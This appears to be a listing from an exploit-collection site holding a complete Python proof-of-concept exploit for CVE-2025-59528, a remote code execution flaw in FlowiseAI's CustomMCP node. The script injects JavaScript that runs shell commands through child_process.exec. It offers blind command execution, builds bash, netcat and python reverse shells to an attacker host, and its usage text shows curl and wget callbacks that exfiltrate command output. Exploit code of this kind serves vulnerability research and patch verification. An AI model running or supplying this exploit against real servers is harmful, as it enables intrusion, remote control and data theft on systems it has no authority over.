5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution
===========================================================

A critical (CVSS 10.0) RCE vulnerability in FlowiseAI Flowise versions
>= 2.2.7-patch.1 and < 3.0.6.

The convertToValidJSONString function in CustomMCP.ts passes user input
from the mcpServerConfig parameter to JavaScript's Function() constructor
(equivalent to eval()), allowing arbitrary code execution with full
Node.js runtime privileges.

Discovered by: Kim SooHyun (@im-soohyun)
Advisory: GHSA-3gcm-f6qx-ff7p
Fix: Flowise v3.0.6 (replaced Function() with JSON5.parse())

Usage:
    # Check if target is vulnerable (time-based)
    python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass

    # Blind command execution
    python3 exploit.py -t http://target:3000 --mode exec -c "curl http://attacker/pwned" --email [email protected] --password pass

    # Reverse shell (auto-tries bash, nc, python)
    python3 exploit.py -t http://target:3000 --mode revshell --lhost ATTACKER_IP --lport 4444 --email [email protected] --password pass
"""

import argparse
import requests
import sys
import json
import base64
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = r"""
   _____ _   _______       ___   ___ ___  ___        _____ ___  ___ ___  ___
  / ____| | | |  ___|     |__ \ / _ \__ \| __|      | ____/ _ \| __|__ \( _ )
 | |    | | | |   _|  ______ ) | | | | ) |__ \ _____|__ \| (_) |__ \  / / _ \
 | |    | |_| |  |_  |______/ /| |_| |/ / ___) |_____|__) \\__, |___) / /| (_) |
  \____|  \_/ |_____|       |_| \___/|___|____/      |____/  /_/|____/_/  \___/

  FlowiseAI CustomMCP Node — Remote Code Execution (CVE-2025-59528)
  Discovered by Kim SooHyun (@im-soohyun)
"""

# API Endpoints
EXPLOIT_ENDPOINT = "/api/v1/node-load-method/customMCP"
LOGIN_ENDPOINT = "/api/v1/auth/login"
VERSION_ENDPOINT = "/api/v1/version"


# ─────────────────────────────────────────────────────────────
# Authentication
# ─────────────────────────────────────────────────────────────

def flowise_get_version(session, base_url):
    """Detect Flowise version via the version API endpoint."""
    try:
        resp = session.get(f"{base_url}{VERSION_ENDPOINT}", timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            return data if isinstance(data, str) else data.get("version")
    except Exception:
        pass
    return None


def flowise_login(session, base_url, email, password):
    """
    Authenticate via Flowise login API and store session cookies.

    Flowise >= 3.0.1 requires JWT auth. The server returns JWT tokens
    as Set-Cookie headers (token, refreshToken, connect.sid).
    The requests session automatically stores these for subsequent calls.
    """
    resp = session.post(
        f"{base_url}{LOGIN_ENDPOINT}",
        json={"email": email, "password": password},
        timeout=10,
    )

    if resp.status_code == 200:
        print("[+] Authentication successful")
        return True
    elif resp.status_code == 401:
        print("[-] Authentication failed: invalid credentials")
        return False
    else:
        print(f"[-] Login returned HTTP {resp.status_code}: {resp.text[:200]}")
        return False


# ─────────────────────────────────────────────────────────────
# Payload Construction
# ─────────────────────────────────────────────────────────────

def build_payload(cmd: str) -> dict:
    """
    Build the exploit request body with injected JavaScript.

    The vulnerable code path: Function('return ' + mcpServerConfig)()
    Our payload is a JS object literal with an IIFE that executes
    arbitrary commands via child_process.exec() (async/non-blocking).

    Uses exec() instead of execSync() to avoid blocking the Node.js
    event loop, matching the approach in the Metasploit module.
    """
    # Escape characters that break the JS string context
    safe_cmd = cmd.replace('\\', '\\\\').replace('"', '\\"')

    js_payload = (
        '{x:(function(){'
        'const cp = process.mainModule.require("child_process");'
        f'cp.exec("{safe_cmd}",()=>{{}});'
        'return 1;'
        '})()}'
    )

    return {
        "loadMethod": "listActions",
        "inputs": {
            "mcpServerConfig": js_payload
        }
    }


def build_revshell_cmd(lhost: str, lport: int, shell_type: str) -> str:
    """
    Build a reverse shell one-liner, base64-encoded to avoid
    escaping issues when injected into the JS payload.
    """
    shells = {
        "bash":   f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
        "nc":     f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
        "python": (
            f"python3 -c 'import socket,subprocess,os;"
            f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
            f"s.connect((\"{lhost}\",{lport}));"
            f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
            f"subprocess.call([\"/bin/sh\",\"-i\"])'"
        ),
    }

    raw_cmd = shells.get(shell_type, shells["bash"])
    b64 = base64.b64encode(raw_cmd.encode()).decode()
    return f"echo {b64} | base64 -d | sh"


# ─────────────────────────────────────────────────────────────
# Exploit Sender
# ─────────────────────────────────────────────────────────────

def send_exploit(session, base_url, cmd, timeout=10):
    """
    Send the exploit POST request to the CustomMCP endpoint.

    NOTE: This is a blind RCE. The command output is NOT reflected
    in the HTTP response. The server always returns the default
    "No Available Actions" message regardless of execution result.
    Use callback-based techniques or a reverse shell to get output.
    """
    url = f"{base_url.rstrip('/')}{EXPLOIT_ENDPOINT}"
    body = build_payload(cmd)

    try:
        resp = session.post(url, json=body, timeout=timeout, verify=False)
        return resp
    except requests.exceptions.Timeout:
        print("[*] Request timed out (may indicate a blocking shell connected)")
        return None
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection failed: {e}")
        return None


# ─────────────────────────────────────────────────────────────
# Exploit Modes
# ─────────────────────────────────────────────────────────────

def mode_check(session, base_url):
    """
    Verify the target is vulnerable using two methods:
    1. Version detection via API
    2. Time-based blind confirmation (sleep command)
    """
    print("[*] Running vulnerability check...")
    print()

    # Version check
    version = flowise_get_version(session, base_url)
    if version:
        print(f"[*] Flowise version: {version}")
    else:
        print("[!] Could not detect version")

    # Time-based check
    print("[*] Sending sleep(3) payload for time-based confirmation...")
    start = time.time()
    resp = send_exploit(session, base_url, "sleep 3", timeout=15)
    elapsed = time.time() - start

    if resp and resp.status_code == 401:
        print("[-] Authentication required (401). Provide --email and --password")
        return False

    if elapsed >= 2.5:
        print(f"[+] VULNERABLE — response delayed {elapsed:.1f}s (expected ~3s)")
        return True

    if resp and resp.status_code == 200:
        print(f"[*] Got 200 in {elapsed:.1f}s — sleep may not have executed.")
        print("[*] Target might still be vulnerable. Try --mode revshell to confirm.")
        return None

    print(f"[-] Not vulnerable or unreachable ({elapsed:.1f}s)")
    return False


def mode_exec(session, base_url, cmd):
    """
    Execute a blind command on the target.

    Since this is blind RCE, use callback techniques to exfiltrate output:
        --exec -c "curl http://ATTACKER:PORT/$(id | base64)"
        --exec -c "wget http://ATTACKER:PORT/?out=$(whoami)"
    """
    print(f"[*] Sending command: {cmd}")
    print("[*] NOTE: This is blind RCE — output is NOT in the response.")
    print("[*] Use callback (curl/wget to your server) to see output.")
    print()

    resp = send_exploit(session, base_url, cmd)

    if resp is None:
        return

    if resp.status_code == 401:
        print("[-] Authentication failed (401)")
        return

    if resp.status_code == 200:
        print(f"[+] Payload delivered (HTTP 200)")
    else:
        print(f"[-] Unexpected response: HTTP {resp.status_code}")
        print(resp.text[:300])


def mode_revshell(session, base_url, lhost, lport, shell_type):
    """Send reverse shell payload(s) to the target."""

    types_to_try = ["bash", "nc", "python"] if shell_type == "auto" else [shell_type]

    if shell_type == "auto":
        print("[*] Auto mode — trying bash, nc, and python reverse shells")

    print(f"[!] Start your listener first: nc -lvnp {lport}")
    print()

    for stype in types_to_try:
        cmd = build_revshell_cmd(lhost, lport, stype)
        print(f"[*] Sending {stype} reverse shell → {lhost}:{lport}")

        resp = send_exploit(session, base_url, cmd, timeout=5)

        if resp is None:
            print(f"[+] Timed out — check your listener!")
            return True

        if resp.status_code == 401:
            print("[-] Authentication failed (401)")
            return False

        if resp.status_code == 200:
            print(f"    Delivered (HTTP 200)")

    print()
    print("[*] All payloads sent. Check your listener!")
    print("[*] exec() is async — the server responds immediately even on success.")


# ─────────────────────────────────────────────────────────────
# CLI
# ─────────────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-59528 — FlowiseAI CustomMCP Remote Code Execution",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
  python3 exploit.py -t http://target:3000 --mode exec -c "curl http://ATTACKER/pwned" --email [email protected] --password pass
  python3 exploit.py -t http://target:3000 --mode revshell --lhost 10.10.14.1 --lport 4444 --email [email protected] --password pass
  python3 exploit.py -t http://target:3000 --mode revshell --lhost 10.10.14.1 --lport 4444 --cookie "token=eyJ...;connect.sid=s%3A..."
        """
    )

    parser.add_argument("-t", "--target", required=True,
                        help="Target URL (e.g. http://target:3000)")
    parser.add_argument("--mode", required=True, choices=["check", "exec", "revshell"],
                        help="check = test vuln, exec = blind cmd, revshell = reverse shell")
    parser.add_argument("-c", "--command", default="id",
                        help="Command to run (exec mode)")
    parser.add_argument("--lhost", help="Your IP (revshell mode)")
    parser.add_argument("--lport", type=int, default=4444, help="Your port (default: 4444)")
    parser.add_argument("--shell-type", default="auto",
                        choices=["auto", "bash", "nc", "python"],
                        help="Reverse shell type (default: auto)")

    auth = parser.add_argument_group("Authentication")
    auth.add_argument("--email", help="Flowise email (JWT auth, >= 3.0.1)")
    auth.add_argument("--password", help="Flowise password")
    auth.add_argument("--username", help="Flowise username (Basic Auth, < 3.0.1)")
    auth.add_argument("--cookie", help="Raw Cookie header string (fallback)")

    args = parser.parse_args()
    print(BANNER)

    # Normalize URL
    target = args.target if args.target.startswith("http") else f"http://{args.target}"

    # Setup session
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Content-Type": "application/json",
        "x-request-from": "internal",
    })

    print(f"[*] Target: {target}")
    print(f"[*] Mode:   {args.mode}")

    # ── Authentication ──
    if args.cookie:
        session.headers["Cookie"] = args.cookie
        print("[*] Auth: cookie string")
    elif args.email and args.password:
        print(f"[*] Auth: JWT login ({args.email})")
        if not flowise_login(session, target, args.email, args.password):
            sys.exit(1)
    elif args.username and args.password:
        session.auth = (args.username, args.password)
        print(f"[*] Auth: Basic ({args.username})")
    else:
        print("[*] Auth: none")
    print()

    # ── Run mode ──
    if args.mode == "check":
        mode_check(session, target)
    elif args.mode == "exec":
        mode_exec(session, target, args.command)
    elif args.mode == "revshell":
        if not args.lhost:
            print("[-] --lhost is required for revshell mode")
            sys.exit(1)
        mode_revshell(session, target, args.lhost, args.lport, args.shell_type)


if __name__ == "__main__":
    main()